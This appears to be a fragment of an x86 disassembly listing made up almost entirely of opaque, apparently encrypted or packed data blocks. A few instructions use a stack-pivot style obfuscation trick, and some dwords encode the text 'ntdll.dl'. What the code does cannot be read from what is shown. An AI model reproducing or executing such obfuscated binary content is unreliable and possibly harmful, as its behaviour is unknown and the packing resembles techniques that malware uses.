		dd 86B6E5E7h, 0A6642127h, 66DCA48h, 212DC5C7h, 0CEF25666h
		dd 56E542BDh, 46433E4Ah, 11754944h, 0B6C85703h,	9AA8B7C7h
		dd 7894EBE3h, 53720D3Dh, 0B582E5Eh, 8032E4Bh, 3A51FED0h
		dd 960CFF0h, 0A6D5C8FAh, 9E17344Bh, 50E3EA6Eh, 0D3433EB1h
		dd 72EDA56Fh, 0BE2D5D50h, 2AE8A3AFh, 338h, 0A68CB600h
		dd 4346767h, 3A52497Bh,	5E6E2925h, 71890401h, 0AAA2DFEEh
		dd 0C3FBB6D5h, 0E7178EBCh, 18306D98h, 27574647h, 4EC811Fh
		dd 54000000h, 8324048Fh, 68042404h, 40F5h, 50243C89h, 405E089h
		dd 83000000h, 48704E8h,	1C895C24h, 0A8BE5624h, 8161DE76h
		dd 0F21C46CEh, 81DEF778h, 0F555BCCEh, 4AEE8111h, 8991DB7Eh
		dd 24348BF7h, 5404C483h, 83241C8Bh, 3D6804C4h, 89000064h
		dd 438F243Ch, 241C8B08h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_585C7C
; ---------------------------------------------------------------------------
		dd 0B8E42026h, 61A7175h, 0C650C503h, 14084985h,	25684706h
		dd 0FFCF3817h, 140C2DB5h, 4E858D06h, 0FF06143Bh, 8DD88BD0h
		dd 1420DD85h, 4685006h,	0FF000001h, 4985C6D3h, 53061408h
		dd 7F8BF68h, 2DB5FF83h,	8D06140Ch, 143B4E85h, 89D0FF06h
		dd 1A555785h, 0C9BD8306h, 6140Ch, 0B840Fh, 9D8B0000h, 6141221h
		dd 5E9h, 0BB00h, 680000h, 8D000001h, 1A555BB5h,	0FF535606h
		dd 14008195h, 5BB58D06h, 3061A55h, 1E9F0h, 804E0000h, 840F5C3Eh
		dd 9, 0F2F3E80h, 0FFFFED85h, 6C6FFh, 555B858Dh,	0FF50061Ah
		dd 1A555795h, 0E0FF5806h, 6D2BAFE9h, 3EB43561h,	11FA62DEh
		dd 13A81003h, 74314B29h, 7EACBFABh, 48766933h, 6A4A689Ah
		dd 47C18F48h, 53328998h, 0FE8h,	17B91E00h, 0D0C351CAh
		dd 0D59A9E5Fh, 606FE1C6h, 860Fh, 81580000h, 7443C0h, 0BB00h
		dd 81660000h, 8B7ADBE2h, 0F181180Ch, 332664AAh,	0BEC8D681h
		dd 0F18130B3h, 0E91Eh, 0DF8B6660h, 0E98161F5h, 32957AA9h
		dd 48A0Fh, 0BF660000h, 0BF51D74Dh, 12D6D410h, 8018048Fh
		dd 0CE8148C2h, 7E5432F0h, 6E04EB81h, 0E9605C55h, 13h, 8C3E12D5h
		dd 831950B6h, 5A2F0AC3h, 89C24AF4h, 66D97DB1h, 0AA9DEE81h
		dd 0C38161h, 665C556Eh,	0FB81F78Bh, 0FFFF8C84h,	0D850Fh
		dd 8B660000h, 26E9FAh, 4F370000h, 0F533095h, 88Fh, 840F6000h
		dd 0
		dd 0FF69E961h, 2572FFFFh, 4B24910Ah, 5B52C88Bh,	0A4BCE2C3h
		dd 6E8h, 94940900h, 0E9326BF1h,	7, 0FDD3E278h, 591289C5h
		dd 0B890Fh, 6E90000h, 54000000h, 6931BC25h, 92C181D1h
		dd 0E9000074h, 8, 690892BEh, 306F312Ah,	0EA67DEBBh, 0DBEB811Eh
		dd 0B21EEA4Ah, 8B31FFFBh, 8B6658F9h, 0E3C081F8h, 0FC13DE19h
		dd 5D5FC081h, 6E90359h,	3F000000h, 10A967A5h, 0CBF0814Bh
		dd 505C7C3Dh, 895ED8B2h, 0FA8B5701h, 4E9835Eh, 0E3D3BA66h
		dd 1EB81h, 850F0000h, 0FFFFFFBDh, 0E9D08B66h, 2Fh, 414FB4A4h
		dd 0E61D8C93h, 2E81E89Dh, 6C64746Eh, 6C642E6Ch,	1467006Ch
		dd 8003B2BDh, 0FEB9h, 3	dup(0)
		dd 0E9000000h, 6CEh, 1A759468h,	0C6EE906h, 4868FFFAh, 0E9061A76h
		dd 0FFFA0C64h, 1A771168h, 0C5AE906h, 0FE68FFFAh, 0E9061A77h
		dd 0FFFA0C50h, 1A78BC68h, 0C46E906h, 9D68FFFAh,	0E9061A79h
		dd 0FFFA0C3Ch, 44C8C3C3h, 2FF3AADBh, 141895B0h,	2067D8Bh
		dd 0E72B6665h, 0C3C27064h, 0B0DD4ACEh, 9AB631F5h, 7A8C1B1Fh
		dd 2F92FF03h, 0EAE6B38Eh, 0A0833055h, 3DF7AAD9h, 182A3Bh
		dd 67400000h, 79063665h, 89D05447h, 53F092B6h, 0AEE5E37Ah
		dd 0E09BB764h, 6180D61Ch, 7347E01Bh, 0C349DC60h, 8064D750h
		dd 9BFF55E4h, 0D6E56999h, 800F3A7Bh, 808455E4h,	4CF33272h
		dd 0AE55E480h, 0A2DBEC73h, 16648B50h, 8BA89EC8h, 23BD6h
		dd 5E1EC200h, 32AD5A3h,	965B4F3Fh, 0B3D9289Ch, 0E9EB1F98h
		dd 0F7C49DCh, 0E41893AEh, 1289BB55h, 47B6DABEh,	0D34014E6h
		dd 4709111h, 521CB6F7h,	0B195839Fh, 7EBF2A99h, 83A7D6C3h
		dd 7E36FC40h, 45E2196Fh, 99885FFCh, 8DF81377h, 2FA69512h
		dd 593D859Eh, 8B0204DBh, 0B7E61887h, 0BEFEC670h, 81A7298h
		dd 4D7h, 54D8D3F3h, 3FC3BACBh, 24E8A5A0h, 12168DBBh, 0F73B7695h
		dd 0D3F24074h, 0C0CD5ADEh, 0AAA641C5h, 8ABC2BEFh, 1F620F13h
		dd 0EAE7A39Eh, 29932055h, 6366567h, 0F532DF95h,	5E9AA9F6h
		dd 351953F0h, 7874D4E3h, 0E1335746h, 33483CCDh,	0DC3240F2h
		dd 7F8ED949h, 0F41A1E02h, 394F9E48h, 0BDC89702h, 374332C0h
		dd 0C84FC80Dh, 2CB4F544h, 0E9377EB7h, 7769718h,	5C6F93F7h
		dd 1A49E7D3h, 0E41478EDh, 0A2DBE877h, 0D0E42EAAh, 0F7304B31h
		dd 0E305214Eh, 0E8B86C1h, 45769AFEh, 634A9AEAh,	9D2E3A61h
		dd 0D7C6F897h, 0FBB2D453h, 3CB69434h, 0EEBC2CBEh, 423h
		dd 0A86C1F2Fh, 9B9F0E3Fh, 8084010Ch, 6EB2E9E7h,	5BDFD2F1h
		dd 3756FCD0h, 1C29B67Ah, 6029D61h, 0E618878Bh, 0BB0673B7h
		dd 0EAE4CF7Ah, 850F4455h, 6366567h, 2394F9Eh, 0E1404A72h
		dd 0DCEA7C46h, 3477BDA1h, 0DCC70BEBh, 0EF1C6349h, 0CA3504A1h
		dd 0CA4E55E4h, 0F82596A6h, 55E4CA49h, 0D02246CAh, 1868AC90h
		dd 2F8883C9h, 4FCE5FD0h, 0F447E05Bh, 0F5FDE5Eh,	95D4E70Bh
		dd 90033873h, 0DE5E2417h, 8CBFF85Fh, 75FDE5Eh, 5CCB4F03h
		dd 0FE5A722Bh, 0E1E37C34h, 0DB2A92AAh, 5ECE7DBAh, 0A5025FDEh
		dd 5FDE5E96h, 355292Dh,	0EE3ACA91h, 0C1B3F65h, 0F8B83FAh
		dd 0FF57D0EBh, 7045F2C9h, 60750B0Ch, 930B5CEBh,	35A81h
		dd 5B567600h, 463748D7h, 6F2A25C2h, 970E3CABh, 0B8F51493h
		dd 75DDF774h, 48D75B56h, 21BE423Bh, 39A66A25h, 0E5909407h
		dd 0E52A1986h, 6AA955EAh, 366567A6h, 394F9E06h,	6A71A502h
		dd 868A49DCh, 217B0982h, 0F34EEF96h, 7055E4EFh,	0C2F01A0Ch
		dd 0A079EB29h, 0F7000001h, 54B5631Eh, 788A2B20h, 0F149DC6Bh
		dd 80FFBC8Dh, 0CC5E2193h, 1E148FBDh, 1DC347A6h,	50844E1Ah
		dd 3B1C2AAFh, 3155F2F6h, 61B1FE0Dh, 0E2B28D44h,	0B5F26D9Eh
		dd 5295AA86h, 0CBFB391Dh, 0B5C6B253h, 7406035Ah, 0A4205855h
		dd 60C8880h, 0BA23AE97h, 2E5D2148h, 23C772B3h, 35C548Ch
		dd 0BF688C07h, 67E31B92h, 394B12ADh, 0E4178AB9h, 8C2388BBh
		dd 0E3070B54h, 86F16C1Fh, 8C232A19h, 0A4A5A954h, 548C2395h
		dd 33E82A2Eh, 9959A11h,	7B67B10Bh, 26D3103h, 69990000h
		dd 5475F236h, 3F4AD559h, 2321BE42h, 0C3BA468h, 2A0E8D91h
		dd 0EC306D9Ch, 0DB5F5673h, 0C145404Ch, 0A5692426h, 53471C8h
		dd 9E55EAE5h, 6567B375h, 0D6950636h, 4BCFFFBAh,	0C4F4B1DCh
		dd 0EBFAB240h, 0F11F6E9Dh, 0EE4F78BAh, 49DC7154h, 397492EDh
		dd 53EF1115h, 0FB106485h, 0C84848BAh, 8586C14Fh, 606FF008h
		dd 0EC1E092Dh, 193D99B1h, 0A7550320h, 3E2CEBAh,	89D94675h
		dd 0DD2D65Ah, 0DE54517Eh, 2E96A6AAh, 2792A9DFh,	18D74B51h
		dd 9062ED21h, 0C1A01C25h, 3865D0E8h, 0F4C6A609h, 748C868Ah
		dd 6264FB10h, 4678E72Bh, 433366A5h, 1034C065h, 0F6D08D0Fh
		dd 0A173EBC7h, 1AFh, 2CF0ABDBh,	171B92B3h, 0FC007D88h
		dd 0EA2E6563h, 0CF534E7Dh, 0ABDA684Ch, 98B532F6h, 828E191Dh
		dd 62640307h, 378AE72Bh, 0EAEA5BF6h, 71BBD855h,	5366567h
		dd 3F4F4A46h, 0F56D59DBh, 316C9B14h, 0D1B1FE0Dh, 5249DC91h
		dd 80E82AEEh, 47E01B61h, 49DA0732h, 0E98FBAC5h,	8981A5D8h
		dd 0ADDDD8F6h, 0EAE10529h, 0BFC17193h, 3458BCCCh, 514C7807h
		dd 0A357DD39h, 3D7091E8h, 8C2658F7h, 8E0A027Bh,	93E1526Ah
		dd 0AF911E34h, 883CF647h, 8DF81379h, 413C4B12h,	0EAE3C978h
		dd 0ABE6E155h, 34A173D7h, 4FC07731h, 0B6B5C64Ah, 8A151994h
		dd 8DF50578h, 80F3087Ch, 0C4771427h, 69ABAF5Fh,	0A609D15Eh
		dd 128D45E8h, 0B984A695h, 0C7593D41h, 35E6D54Dh, 40A07225h
		dd 0ACC33BFCh, 6DDD5CE4h, 0CE5Fh, 0D7CAFA00h, 0FAB3D453h
		dd 0E39EA936h, 0B82801Fh, 34699807h, 0F1416BF0h, 0CC5BDFD2h
		dd 0A542C6BFh, 0BD2AEEA9h, 610C108Bh, 0EBAE9D1Ah, 0EE2555EAh
		dd 9F188B2Ah, 53F092ACh, 1DE2AC85h, 0F9CD799Ah,	3E225F6Eh
		dd 0A021C0F4h, 0B1CAEE9Fh, 0DA26F574h, 0F20A0E49h, 0D5C8FA81h
		dd 8D2A21A5h, 55EA06BEh, 0CC35135h, 0E07F83FAh,	1E9FAFDEh
		dd 8C04365Ah, 3A49A00Fh, 16919508h, 0FE81B9F4h,	66232ED0h
		dd 6ECD4A42h, 25C6F807h, 0F91633AAh, 16088CBCh,	4287DFBh
		dd 36656700h, 3E0DAA05h, 0B51E80D6h, 516343D1h,	27h, 0D8FD8BDFh
		dd 4B287125h, 366F9C8Bh, 0E457C4FCh, 8D582E6Ch,	7A430A18h
		dd 53F0B1CFh, 0F02EC044h, 0DDD5324h, 67AC969Ch,	7B043467h
		dd 253A5249h, 15E6E29h,	0EE718904h, 0D5AAA2DFh,	0BCC3FBB6h
		dd 98E7178Eh, 4718306Dh, 1F275746h, 5E08950h, 4, 8704E883h
		dd 895C2404h, 8956240Ch, 4C681E6h, 81000000h, 4EEh, 24348700h
		dd 242C895Ch, 7C4F68h, 240C8900h, 0C776851h, 81591F12h
		dd 6D70ACE1h, 80F18129h, 510F1A74h, 91243481h, 5D6F7E38h
		dd 3891F581h, 54596F7Eh, 81240C8Bh, 4C4h, 4EC8100h, 89000000h
		dd 481242Ch, 624CAF24h,	8418F0Ah, 0AF086981h, 8B0A624Ch
		dd 8956240Ch, 4C681E6h,	81000000h, 4C6h, 24348700h, 2434FF5Ch
		dd 4C4835Dh, 0FA05B7E9h, 134455FFh, 8247F391h, 1BB3AC7Dh
		dd 90B88BA5h, 3061A7Ah,	0FCE0FFC5h, 0D2289422h,	0F55EDA7Fh
		dd 3A6FDD9Ah, 0E85667C2h, 7, 0CE6B4D2Dh, 0F24F55Ch, 815ACEB7h
		dd 6F69C2h, 0BE800h, 91120000h,	0A02B465Ch, 18D50C45h
		dd 0C28B6688h, 26DEBF5Eh, 0F7817AA5h, 7AA53D6Bh, 0FF17E880h
		dd 0C1B70F32h, 3EC1815Bh, 810477F5h, 0BB730BC3h, 7DEB815Ch
		dd 603F0D07h, 816625B6h, 61651FEBh, 2BBBC381h, 0B8666200h
		dd 1A89F047h, 0D66BE66h, 6A4BEA81h, 4B84CCDh, 812BD099h
		dd 0CD6A47C2h, 11E94Ch,	0E72D0000h, 0A14473EEh,	6C027214h
		dd 0D1D577E7h, 810DC266h, 1EFh,	9C850F00h, 0B0FFFFFFh
		dd 19E9F5h, 0C75E0000h,	47A3h, 4 dup(0)
		dd 0E9000000h, 4B9h, 1A7D0168h,	4C6E906h, 7168FFFAh, 0E9061A7Dh
		dd 0FFFA04BCh, 1A7EBE68h, 4B2E906h, 3949FFFAh, 2425C246h
		dd 0F3AA569h, 0F3118E92h, 0DCEB74B8h, 0FADE5DA1h, 0BC403D4Ch
		dd 0AB6F2623h, 9195103Ch, 75B9F416h, 3504A118h,	4E55EAEEh
		dd 68678305h, 487A0535h, 50B1D155h, 0E4961724h,	0D49DC65h
		dd 1782F109h, 4B433A48h, 85B38ECFh, 4C3055E4h, 8568D7C6h
		dd 3A4855E4h, 16344B43h, 0B82809Fh, 91F857F3h, 5AB15C89h
		dd 0A8A3D218h, 2EFEC8Bh, 1EC80000h, 2A5EAF59h, 6B629411h
		dd 80FB49DCh, 0E49B1427h, 87ABAF55h, 3CADE9B6h,	0FB0A5619h
		dd 75037E8Dh, 5D18E133h, 18C864Bh, 4AA57C09h, 0B1EC1D6Ah
		dd 0E4057D8Dh, 0D53A7B90h, 5E405140h, 8A1D2F08h, 0FFE370BAh
		dd 108BBDCCh, 2A6364FBh, 8DBF28E8h, 7917191Eh, 19715F8Ch
		dd 3030Bh, 2B666600h, 564778E7h, 7F3A55D2h, 671E2CBBh
		dd 880504A3h, 652D0784h, 78E72B66h, 51CE524Bh, 29B67A35h
		dd 0F5A06417h, 0EF1A2976h, 7A9955EAh, 0D8F48BB6h, 0EB29ADDDh
		dd 354632D3h, 0DA1E2BE8h, 39B2C449h, 984858Fh, 444D1D17h
		dd 35542B20h, 0D3C4378h, 161C7890h, 0CBC6C562h,	0F5CA72B3h
		dd 0DAEC55EAh, 5C645CA3h, 0CC3C6913h, 293FEh, 0BBF61600h
		dd 0A6D7E877h, 0CFCAC562h, 0F7AEDC4Bh, 1895B433h, 15BD9714h
		dd 0E877BBF6h, 0C15EA2DBh, 0D946CAC5h, 4530F4A7h, 0EF8AB9E6h
		dd 0CA0955EAh, 9F188BC6h, 53F092ACh, 0DDD12327h, 0E243780Ch
		dd 49DA1E25h, 0D6417ADEh, 0EAEEFA49h, 1F157955h, 1F2D3CAFh
		dd 552FB264h, 6AC9AD7Eh, 62122DA8h, 0C9F055EAh,	141E93B2h
		dd 0CD22077h, 6A8BAF79h, 0FDEFC11Ah, 20A4D4CFh,	8C80DACEh
		dd 0EA291023h, 8BAF9355h, 197FE89h, 8B3A0000h, 0AEDED7F4h
		dd 1133E82Ah, 0EB1D629Ah, 34443F4Bh, 0C99FACD0h, 24C09373h
		dd 2622FD36h, 3DF7536Bh, 46470675h, 18E9DD57h, 5005F6Ch
		dd 0DDEF7088h, 3F888AAEh, 0DC3C3CFEh, 39513549h, 0E4FD45F8h
		dd 51B8A755h, 0A8F7DB01h, 20FB8Bh, 80310000h, 47E01B61h
		dd 49DC6CD7h, 95142428h, 55E49CAAh, 14668D48h, 8BA89AC6h
		dd 95D0h, 6567DC00h, 4A790636h,	0B5B42757h, 79161C97h
		dd 5B245447h, 0EFAE7229h, 53F09736h, 0F93D7092h, 0BB961782h
		dd 3853F096h, 7E6DE54h,	23DD5A71h, 2849DFF3h, 0A5A41724h
		dd 7625EFAAh, 51E04D57h, 0D255E63Ah, 59C64A6Eh,	0C2B0772Ah
		dd 0FE69171Bh, 146BC8Eh, 0A9D90000h, 94B532F6h,	7F8A1519h
		dd 6361FE02h, 4C7BE428h, 6A4ECD51h, 2CF0ADDCh, 1B1F96B3h
		dd 105808Ch, 0E5296466h, 45F43188h, 0DE55EAECh,	686773B5h
		dd 0C39AF135h, 59BDCDC8h, 8B0204DBh, 0F48B4D87h, 28ACDCD9h
		dd 981335EAh, 0A9ED1F60h, 0F0923D0Ch, 0B5F01D53h, 0D5597DC1h
		dd 5FEA4BA6h, 0D453F092h, 0E796B770h, 0DA173D7h, 832C9FFCh
		dd 53F092B0h, 330E4F33h, 0B053F092h, 0CC93A8CCh, 69B6C5C0h
		dd 53F092DAh, 8C3FF559h, 403D4A11h, 8520AEAEh, 848E104Fh
		dd 0DC653709h, 0A3D8BC49h, 2CF0ADDCh, 709DEC5Fh, 0B8810535h
		dd 55E40589h, 810C060Ah, 55E405BEh, 0A4DFEB72h,	1C8FB16Eh
		dd 337CEFh, 8355E405h, 22BD75BFh, 4C5E6E23h, 74h, 1B6180EAh
		dd 1E8A47E0h, 0E7D49DAh, 0EAEE92A1h, 0BAD61155h, 274BCFFFh
		dd 109D0803h, 55EAEE21h, 4641DEA2h, 8EFDC94Bh, 0EEA79213h
		dd 3A7B55EAh, 55EAEE0Fh, 48CC8084h, 0B8F315CAh,	0D7CEFC83h
		dd 0F80A955Dh, 15347585h, 3E93A328h, 0F90B3A51h, 0D5F28982h
		dd 0EE24A0D8h, 108BBD2Ah, 326967F8h, 375EBD1Ah,	8387F608h
		dd 93ABE2E4h, 381h, 0A68C2F00h,	4346767h, 3A52497Bh, 5E6E2925h
		dd 71890401h, 0AAA2DFEEh, 0C3FBB6D5h, 0E7178EBCh, 18306D98h
		dd 27574647h, 0E089501Fh, 4DCBBD55h, 81450DF1h,	0CF40EDF5h
		dd 6E5C113h, 0C3C58145h, 1707CB7h, 0E8835DE8h, 24048704h
		dd 0E689565Ch, 4C681h, 0EE810000h, 4, 5C243487h, 53241489h
		dd 0C381E389h, 4, 4EB81h, 1C870000h, 0C895C24h,	10BE5624h
		dd 0BA0B6D59h, 0FAAD231Eh, 348BF201h, 4C48324h,	240C8B54h
		dd 4C481h, 0EC830000h, 24148904h, 0FF08418Fh, 83592434h
		dd 148B04C4h, 0E0895024h, 405h,	40500h,	4870000h, 21E95C24h
		dd 19FFFA00h, 309B7AB8h, 24773039h, 8029B861h, 0C503061Ah
		dd 0F46EE0FFh, 3AF9243Dh, 0DC585F83h, 3677414Dh, 82BC3E4Fh
		dd 6EB1244h, 776D49BCh,	95F55294h, 0D32B371Bh, 0F32967D9h
		dd 0B7A345D5h, 0DE9C2C89h, 0CE431A47h, 5E7C5846h, 82AF410Ch
		dd 0BED7C7Ah, 2E2798Ch,	29B61319h, 0C55E1E59h, 27B45FF4h
		dd 62B7347Fh, 1EE0747Dh, 60B9111Bh, 0F5312225h,	0F0DC6002h
		dd 5D101CBFh, 0D643FC5h, 0D530560Eh, 41884EDBh,	0F7260D18h
		dd 8D8D2B88h, 61A81E6h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 17h, 0A2C35141h, 801DD64Fh, 8D89BFD6h, 6142B69h
		dd 69B10EBEh, 5585C735h, 0C8061410h, 8B000070h,	14302585h
		dd 6AB86606h, 3D85C729h, 61401h, 6A000000h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 869EC351h
		dd 0CAB0D49Ch, 0A4AB5CE4h, 7E9h, 0D97A0600h, 5ED9C838h
		dd 499B5FFh, 0BA660614h, 95FF2D5Bh, 6140BD9h, 6ADA8B66h
		dd 7195FF00h, 8B061429h, 0AF7AEBC0h, 8D77AFA6h,	0A7E6CE55h
		dd 600648B8h, 0FBB8502Fh, 0EE7D24D3h, 395E7589h, 0A4905326h
		dd 9CD3738Bh, 6CC9DF93h, 59FCF4F4h, 0F8769D68h,	1150FE88h
		dd 548BE7C0h, 6ECAB287h, 6DED502Ah, 6C6BBB77h, 0EB45899Eh
		dd 1B86A754h, 0AF65460Eh, 0C088CAFCh, 4B66F8F4h, 0F6D38DFDh
		dd 9C1B5C34h, 7BCBA55Bh, 0EAC245B6h, 5BDC0282h,	47D953E5h
		dd 18269C98h, 0DEFC0303h, 0CDAA54B0h, 7E8E3h, 0E89D0000h
		dd 0A701D770h, 0C18166EDh, 0E95E1D84h, 7, 322CA78Ah, 817AEBC3h
		dd 7343C6h, 8B666000h, 99523C6h, 61061407h, 5ECB62B8h
		dd 0CBE88103h, 0E8035EAEh, 0Fh,	0A52A0566h, 906A21E4h
		dd 2941C635h, 8B310BE9h, 1410CD9Dh, 36FF5906h, 68A0Fh
		dd 60600000h, 611AB261h, 8E9605Fh, 43000000h, 0DCC7BFC5h
		dd 6699A46Eh, 61F002BFh, 0C2DC781h, 8B565C65h, 0EF8159D0h
		dd 5C979B3Bh, 0BD58589h, 0EF810614h, 0A8F3238h,	0F57DF8Bh
		dd 1480h, 0AE800h, 934F0000h, 0DE561F00h, 74DA96EAh, 6C51B966h
		dd 8B068F5Bh, 4EE83CFh,	428CDA81h, 0F481030h, 1685h, 0D2BB6600h
		dd 23E92Eh, 0BD2C0000h,	0E85CB3DFh, 9782D179h, 0F4937BAh
		dd 58Ch, 0E450BB00h, 6BE9508Eh,	57FFFFFFh, 67542B0Ah, 63E753FEh
		dd 32AF5DB1h, 3354F6B1h, 0C75657B1h, 8C36ABB1h,	295DD0C7h
		dd 0C237C407h, 25542D9Ch, 0DB56BAB1h, 32565DA3h, 0DBD7317Bh
		dd 0D991B3A2h, 401D46FFh, 13F8BF0Eh, 0BD599BBDh, 325675A1h
		dd 0DB08E8D1h, 32565DB6h, 5018E8E8h, 538ED03Bh,	0B959ABB1h
		dd 3256D5BAh, 0F8DD8CD1h, 64109330h, 3237827Bh,	3247B4B1h
		dd 17E8AEB1h, 4E9DBFBFh, 0C6516F26h, 8A1D56D0h,	326C761Dh
		dd 325680B1h, 0EAD7DCD1h, 0B9309A3Ch, 3256CF42h, 3257D5BEh
		dd 1FAAABB1h, 325688C6h, 3256E358h, 0E63B4DB1h,	1B74F632h
		dd 37BF9DC5h, 0C856AEB1h, 3BE3C463h, 32099441h
		dd 38154D7h, 0E4D7B15Dh, 400B33FFh, 5256BAD0h, 3242D3BEh
		dd 3DBFAEB1h, 475657B1h, 81ABE290h, 3F6E11CBh, 0B9160D9Eh
		dd 0B559E09Eh, 3256BAA5h, 32565258h, 3AA0A1B1h,	0E980C25Ch
		dd 372C71C5h, 0BE8B4A07h, 3AD3E5D0h, 3D5675B1h,	3256B834h
		dd 32373DB1h, 325947B1h, 0C1857B1h, 550D5DA1h, 8E01A67Eh
		dd 0D13F89FAh, 52567544h, 0C72602D7h, 3240D1BEh, 23BFAEB1h
		dd 725657B1h, 6185B367h, 1DAB589Eh, 0F731EB26h,	2451F3DAh
		dd 0C756BAD0h, 3FBF5DB1h, 0D656AEB1h, 9529C35Bh, 793707FAh
		dd 8D9D4C27h, 5236EAB1h, 57BBB530h, 0D8D7DC0Bh,	71E9437Bh
		dd 323752D0h, 325ABEB1h, 0B32ABB1h, 18E7F94Dh, 6C03B718h
		dd 3256F628h, 3256AA58h, 0BB641FB1h, 0FFC3A4F0h, 3D941F25h
		dd 0CD7738EFh, 3D56D50Ah, 3256E632h, 34D17AB1h,	3D56BAB1h
		dd 32565D3Eh, 3EDFA1B1h, 0DB5657B1h, 3256ABB6h,	0CAD6024h
		dd 3201B98Ah, 32449CB1h, 973BAB1h, 39987DC1h, 0C3A1628Dh
		dd 8E36AA55h, 6FFE2313h, 32AAD5B1h, 33DBE5B1h, 0CA5675B1h
		dd 32AEBAB1h, 325BB4B1h, 0DFA4AEB1h, 6CB010B6h,	6997A215h
		dd 32129199h, 0CBDD8AB1h, 3237923Bh, 0BB59DAB1h, 32565DB5h
		dd 0C98010D7h, 32565859h, 3D97DEB1h, 0C3C0E6D6h, 73AD3CC4h
		dd 0C283C1B5h, 530DE1E6h, 0B2365DB1h, 0B330F95Dh, 531BBA6Ah
		dd 20BFABB1h, 0EA56D5B1h, 0A86F709Bh, 0B96F5847h, 3AB23C87h
		dd 77C9B32Ah, 29D6A110h, 3D5657B1h, 3256BE39h, 32463CB1h
		dd 8D69EAB1h, 0ED3FF220h, 0A378E17Eh, 81DC8F1h,	32567BE4h
		dd 3257D4BEh, 3DAFABB1h, 3256C933h, 22BF8AB1h, 4C5675B1h
		dd 8D145CF2h, 0DF21D20Bh, 3C307B0Bh, 8D1AB05Ah,	27C8E1ABh
		dd 0CA56D5D0h, 3FBFEAB1h, 565675B1h, 306644D9h,	0F8602A03h
		dd 1CBD13Bh, 3257D5BEh,	30AAABB1h, 3256D5B1h, 0BCECEAB1h
		dd 8A7F2B94h, 287B6BDBh, 0E3859E2h, 32A6E9F0h, 358EAEB1h
		dd 3254ABB4h, 3246D5B7h, 327EEAABh, 99B87622h, 0DB7D4AD8h
		dd 32565DB4h, 3670CEB6h, 325636A2h, 32572CBEh, 0DBAAD5B1h
		dd 3256EABEh, 55AE5E0Fh, 4C40FE73h, 0DDCE4DB1h,	321B367Fh
		dd 323737B1h, 39DCA4B1h, 5256D5B1h, 3D9D61D7h, 32567532h
		dd 3256DBB1h, 3253B4D1h, 2086AEB1h, 0DBBA6B9Ah,	3256ABA2h
		dd 2814B6BFh, 39639503h, 0CA97210Ch, 786E819Ch,	530ECF9Fh
		dd 22BFFCD1h, 0A95657B1h, 733035A2h, 86907B78h,	0CDC5560Eh
		dd 6ACD1B8Ch, 32563FBEh, 32375DB1h, 324647B1h, 0ECC257B1h
		dd 2FF2C9E9h, 93DE34F8h, 22B05B01h, 3256563Fh, 3244B8E7h
		dd 3FBF5DB1h, 1356AEB1h, 0E8745867h, 37057A69h,	0AF8557C4h
		dd 0B936EAB1h, 539AFF4Fh, 3000BAB1h, 3E565DB1h,	5BDE97A9h
		dd 3256571Bh, 325A28BEh, 0B259D5B1h, 3256EAB7h,	3256FEBEh
		dd 62C6BAB1h, 62040DE3h, 6867A1E3h, 0DB6758E9h,	3256ABA5h
		dd 891C605Dh, 0A540DB69h, 1F41835h, 0BDB8D341h,	99AC78ADh
		dd 359F6EBh, 600605E1h,	6A0C9ABEh, 3CBFE4BEh, 0AC56EAB1h
		dd 98C339CEh, 4447822Ah, 301BB9C6h, 680EF4A2h, 26BF07E9h
		dd 4E56ABB1h, 5ADD8FB4h, 2631CC30h, 0B255C70Ch,	9E094408h
		dd 0A22D57C4h, 903B2AB1h, 0DC3FA782h, 0C873B73Eh, 6837481Ah
		dd 0AC567AE9h, 98C339CEh, 4447822Ah, 301BB9C6h,	5267A1A2h
		dd 3D0E0DD0h, 0DB04FB80h, 3256D5B7h, 8F428D97h,	3597603h
		dd 6A0CDBD1h, 76DF05EBh, 6006AA95h, 32565158h, 76017DB1h
		dd 3DA5B79Ch, 5204BA80h, 0DB677AD0h, 3256BAB7h,	0AF221A37h
		dd 6A0C4DA3h, 320E0FEBh, 82A5C9B1h, 0EE197B98h,	0FA3D5054h
		dd 4611F3D0h, 6AB5A82Ch, 3242B42Dh, 675AAEB1h, 0E3AE0CDBh
		dd 3FF29C87h, 3B460673h, 0F76AC5BFh, 0C2D73EABh, 5FBD5357h
		dd 32565158h, 402B7AB1h, 8C2F1772h, 0F863C7AEh,	6837488Ah
		dd 85597CE9h, 9EE8137Fh, 20BFDB64h, 0C5565DB1h,	700BAA69h
		dd 91069775h, 0FFFA7C84h, 74918C74h, 0DB56EA2Dh, 325675B4h
		dd 496A9232h, 52565D20h, 0BA59B004h, 325657B7h,	32562EBEh
		dd 3D37D5B1h, 3256ED39h, 33D37AB1h, 0CB56BAB1h,	34BF5DB1h
		dd 0D956AEB1h, 32850061h, 5256ABEEh, 32562CD0h,	3256EC58h
		dd 0A9EBA5B1h, 329FBABCh, 33D052B1h, 0C756AEB1h, 0B05957B1h
		dd 3256ABBEh, 32533DD1h, 0F381EAB1h, 6C7C97A8h,	3237DBD1h
		dd 3256A8B1h, 8FB82FD1h, 0DA095A36h, 3256ABBAh,	62CD0FC6h
		dd 2AA32245h, 3DEE3819h, 530F750Eh, 0B6595DB1h,	3256AEA0h
		dd 325DDFBEh, 34BFABB1h, 0EA56D5B1h, 0F01DF72Fh, 525675F1h
		dd 0D09E3BD7h, 325CB4B7h, 0D24BAEB1h, 2ECFD61Eh, 0C633397h
		dd 0E3DDB5D0h, 0D4EF8CD1h, 3A9DF5D0h, 3256DBD0h, 3D363D44h
		dd 3256AE3Ah, 530C05B1h, 3256AE59h, 0CFD1BB1h, 0BB595D5Ah
		dd 325675B1h, 3256DBE9h, 0C0D73BD1h, 3237E60Ah,	0E8EF37B1h
		dd 0DB7BFE68h, 3256D5B9h, 3C5819B3h, 0A8D9D272h, 0CA56BAD0h
		dd 32565058h, 9C553BB1h, 6E21269h, 0BC82A9FBh, 32564F6Eh
		dd 5256EA4Dh, 3254F0BEh, 0FADDBAB1h, 9240E2D7h,	3D56AED0h
		dd 3256523Dh, 6805CBB1h, 3256B449h, 0DDD78CD1h,	0FCD75172h
		dd 287D2CB5h, 0B7593DD0h, 3256AEA2h, 32565958h,	2B76FAB1h
